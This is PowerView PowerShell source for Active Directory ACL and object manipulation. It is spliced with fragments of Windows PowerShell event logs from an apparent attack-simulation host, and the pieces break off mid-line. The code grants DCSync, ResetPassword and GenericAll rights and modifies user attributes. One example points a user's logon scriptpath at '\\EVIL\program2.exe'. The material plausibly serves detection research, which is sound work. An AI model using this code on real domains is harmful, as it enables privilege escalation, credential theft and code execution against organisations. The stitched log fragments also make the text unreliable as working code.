if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)"
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
}
# add all the new ACEs to the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_"
}
}
}
}
}
function Remove-DomainObjectAcl {
<#
.SYNOPSIS
Removes an ACL from a specific active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity. Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID. These rights are removed from the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
AceQualifier : AccessAllowed
ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
.LINK
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyNb68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109900Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1441 Value
---- -----
NORMAL_ACCOUNT 512
Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\primary\sysvol\blah.ps1
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\EVIL\program2.exe
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[Alias('Replace')]
[Hashtable]
$Set,
[ValidateNotNullOrEmpty()]
[Hashtable]
$XOR,
[ValidateNotNullOrEmpty()]
[String[]]
$Clear,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{'Raw' = $True}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
# splat the appropriate arguments to Get-DomainObject
$RawObject = Get-DomainObject @SearcherArguments
ForEach ($Object in $RawObject) {
$Entry = $RawObject.GetDirectoryEntry()
if($PSBoundParameters['Set']) {
try {
$PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"
$Entry.put($_.Name, $_.Value)
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['XOR']) {
try {
$PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
$PropertyName = $_.Name
$PropertyXorValue = $_.Value
Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
$TypeName = $Entry.$PropertyName[0].GetType().name
# UAC value references- https://support.microsoft.com/en-us/kb/305144
$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
$Entry.$PropertyName = $PropertyValue -as $TypeName
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['Clear']) {
try {
$PSBoundParameters['Clear'] | ForEach-Object {
$PropertyName = $_
Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"
$Entry.$PropertyName.clear()
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
}
}
}
function ConvertFrom-LDAPLogonHours {
<#
.SYNOPSIS
Converts the LDAP LogonHours array to a processible object.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts the LDAP LogonHours array to a processible object. Each entry
property in the output object corresponds to a day of the week and hour during
the day (in UTC) indicating whether or not the user can logon at the specified
hour.
.PARAMETER LogonHoursArray
21-byte LDAP hours array.
.EXAMPLE
$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours
ConvertFrom-LDAPLogonHours $hours
Gets the logonhours array from the first AD user with logon restrictions.
.OUTPUTS
PowerView.LogonHours
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonHours')]
[CmdletBinding()]
Param (
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[byte[]]
$LogonHoursArray
)
Begin {
if($LogonHoursArray.Count -ne 21) {
throw "LogonHoursArray is the incorrect length"
}
function ConvertTo-LogonHoursArray {
Param (
[int[]]
$HoursArr
)
$LogonHours = New-Object bool[] 24
for($i=0; $i -lt 3; $i++) {
$Byte = $HoursArr[$i]
$Offset = $i * 8
$Str = [Convert]::ToString($Byte,2).PadLeft(8,'0')
$LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])
$LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])
$LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])
$LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])
$LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])
$LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])
$LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])
$LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])
}
$LogonHours
}
}
Process {
$Output = @{
Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]
Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]
Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]
Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]
Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14]
Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17]
Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20]
}
$Output = New-Object PSObject -Property $Output
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours')
$Output
}
}
function New-ADObjectAccessControlEntry {
<#
.SYNOPSIS
Creates a new Active Directory object-specific access control entry.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Creates a new object-specific access control entry (ACE). The ACE could be
used for auditing access to an object or controlling access to objects.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER PrincipalSearchBase
The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Right
Specifies the rights set on the Active Directory object.
.PARAMETER AccessControlType
Specifies the type of ACE (allow or deny)
.PARAMETER AuditFlag
For audit ACEs, specifies when to create an audit log (on success or failure)
.PARAMETER ObjectType
Specifies the GUID of the object that the ACE applies to.
.PARAMETER InheritanceType
Specifies how the ACE applies to the object and/or its children.
.PARAMETER InheritedObjectType
Specifies the type of object that can inherit the ACE.
.EXAMPLE
$Guids = Get-DomainGUIDMap
$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name
$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid
$OU = Get-DomainOU -Raw Workstations
$DsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()
Adds an ACE to all computer objects in the OU "Workstations" permitting the
user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property.
.OUTPUTS
System.Security.AccessControl.AuthorizationRule
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Security.AccessControl.AuthorizationRule')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $True)]
[ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')]
$Right,
[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
[ValidateSet('Allow', 'Deny')]
[String[]]
$AccessControlType,
[Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')]
[ValidateSet('Success', 'Failure')]
[String]
$AuditFlag,
[Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')]
[Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')]
[Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')]
[Guid]
$ObjectType,
[ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')]
[String]
$InheritanceType,
[Guid]
$InheritedObjectType
)
Begin {
if ($PrincipalIdentity -notmatch '^S-1-.*') {
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principal = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principal) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
elseif($Principal.Count -gt 1) {
throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"
}
$ObjectSid = $Principal.objectsid
}
else {
$ObjectSid = $PrincipalIdentity
}
$ADRight = 0
foreach($r in $Right) {
$ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__)
}
$ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)
}
Process {
if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') {
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType
}
}
else {
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectTypeb68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109899Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1341f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft
ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat
e ingChange ingDsaDN
-------- ---------- ------------ ------------ ------- ------------
CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S...
CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S...
CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S...
.EXAMPLE
Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl
ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local
ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb
AttributeName : userAccountControl
LastOriginatingChange : 2017-03-07T19:56:27Z
Version : 4
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.OUTPUTS
PowerView.ADObjectAttributeHistory
Custom PSObject with translated replication metadata fields.
.LINK
https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.ADObjectAttributeHistory')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replattributemetadata','distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Properties']) {
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
}
else {
$PropertyFilter = ''
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainObject @SearcherArguments | ForEach-Object {
$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue
if ($TempObject) {
if ($TempObject.pszAttributeName -Match $PropertyFilter) {
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
$Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
$Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory')
$Output
}
}
else {
Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'"
}
}
}
}
}
function Get-DomainObjectLinkedAttributeHistory {
<#
.SYNOPSIS
Returns the Active Directory links attribute value replication metadata for the
specified object, i.e. a parsed version of the msds-replvaluemetadata attribute.
By default, replication data for every domain object is returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'.
This is the domain linked attribute value replication metadata associated with the object. The
results are parsed from their XML string form and returned as a custom object.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Only return replication metadata on the specified property names.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
